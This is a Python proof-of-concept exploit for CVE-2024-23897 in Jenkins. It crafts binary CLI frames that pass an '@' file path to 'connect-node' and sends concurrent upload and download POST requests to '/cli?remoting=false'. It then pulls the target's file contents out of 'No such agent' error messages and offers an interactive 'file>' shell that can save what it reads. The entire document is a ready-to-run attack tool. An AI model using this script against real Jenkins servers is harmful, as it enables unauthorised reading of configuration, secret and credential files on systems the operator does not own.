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"""
This script is used to exploit CVE-2024-23897 (Jenkins file-read).
This script was created to parse the output file content correctly.
Limitations: https://www.jenkins.io/security/advisory/2024-01-24/#binary-files-note
"""
import argparse
from cmd import Cmd
import os
import re
import requests
import struct
import threading
import time
import urllib.parse
import uuid
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
ENDC = "\033[0m"
ENCODING = "UTF-8"
class File_Terminal(Cmd):
"""This class provides a terminal prompt for file read attempts."""
intro = "Welcome to the Jenkins file-read shell. Type help or ? to list commands.\n"
prompt = "file> "
file = None
def __init__(self, read_file_func):
self.read_file = read_file_func
super().__init__()
def do_cat(self, file_path):
"""Retrieve file contents."""
self.read_file(file_path)
def do_exit(self, *args):
"""Exit the terminal."""
return True
default = do_cat
class Op:
ARG = 0
LOCALE = 1
ENCODING = 2
START = 3
EXIT = 4
STDIN = 5
END_STDIN = 6
STDOUT = 7
STDERR = 8
def send_upload_request(uuid_str, file_path):
time.sleep(0.3)
try:
data = (
jenkins_arg("connect-node", Op.ARG)
+ jenkins_arg("@" + file_path, Op.ARG)
+ jenkins_arg(ENCODING, Op.ENCODING)
+ jenkins_arg("en", Op.LOCALE)
+ jenkins_arg("", Op.START)
)
r = requests.post(
url=args.url + "/cli?remoting=false",
headers={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream",
},
data=data,
proxies=proxies,
timeout=timeout,
)
except requests.exceptions.Timeout:
print(f"{RED}Request timed out{ENDC}")
return False
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
return False
def jenkins_arg(string, operation) -> bytes:
out_bytes = b"\x00\x00"
out_bytes += struct.pack(">H", len(string) + 2)
out_bytes += bytes([operation])
out_bytes += struct.pack(">H", len(string))
out_bytes += string.encode("UTF-8")
return out_bytes
def safe_filename(path):
safe_path = path.replace("/", "_")
safe_name = "".join(c if c.isalnum() or c == "_" else "_" for c in safe_path)
return safe_name
def send_download_request(uuid_str, file_path):
file_contents = b""
try:
r = requests.post(
url=args.url + "/cli?remoting=false",
headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Session": uuid_str, "Side": "download"},
proxies=proxies,
timeout=timeout,
)
response = r.content.strip(b"\x00")
if response:
if b"No such file:" in response:
print("File does not exist")
return False
elif b"No such agent" in response:
matches = re.findall(b'No such agent "(.*?)"', response)
if matches:
file_contents = b"\n".join(matches)
except requests.exceptions.Timeout:
print(f"{RED}Request timed out{ENDC}")
return False
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
return False
if args.save:
safe_path = safe_filename(file_path).strip("_")
if not os.path.exists(safe_path) or args.overwrite:
with open(safe_path, "wb") as f:
f.write(file_contents)
if args.verbose:
print(f"[*] File saved to {safe_path}")
else:
if args.verbose:
print(f"[*] File already saved to {safe_path}")
if file_contents:
if isinstance(file_contents, bytes):
print(file_contents.decode(ENCODING, errors="ignore").replace("\x00", "\n").strip())
else:
print(file_contents.replace("\x00", "\n").strip())
else:
print("<empty>")
return True
def read_file(file_path):
uuid_str = str(uuid.uuid4())
upload_thread = threading.Thread(target=send_upload_request, args=(uuid_str, file_path))
download_thread = threading.Thread(target=send_download_request, args=(uuid_str, file_path))
upload_thread.start()
download_thread.start()
upload_thread.join()
download_thread.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="POC for CVE-2024-23897 (Jenkins file read)")
parser.add_argument("-u", "--url", type=str, required=True, help="Jenkins URL")
parser.add_argument("-f", "--file", type=str, required=False, help="File path to read")
parser.add_argument("-t", "--timeout", type=int, default=3, required=False, help="Request timeout")
parser.add_argument("-s", "--save", action="store_true", required=False, help="Save file contents")
parser.add_argument("-o", "--overwrite", action="store_true", required=False, help="Overwrite existing files")
parser.add_argument("-p", "--proxy", type=str, required=False, help="HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)")
parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Verbosity enabled - additional output flag")
args = parser.parse_args()
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
args.url = urllib.parse.urlparse(args.url).geturl()
if args.proxy:
proxies = {"http": args.proxy, "https": args.proxy}
else:
proxies = {}
timeout = args.timeout
if args.file:
read_file(args.file)
else:
File_Terminal(read_file).cmdloop()
|
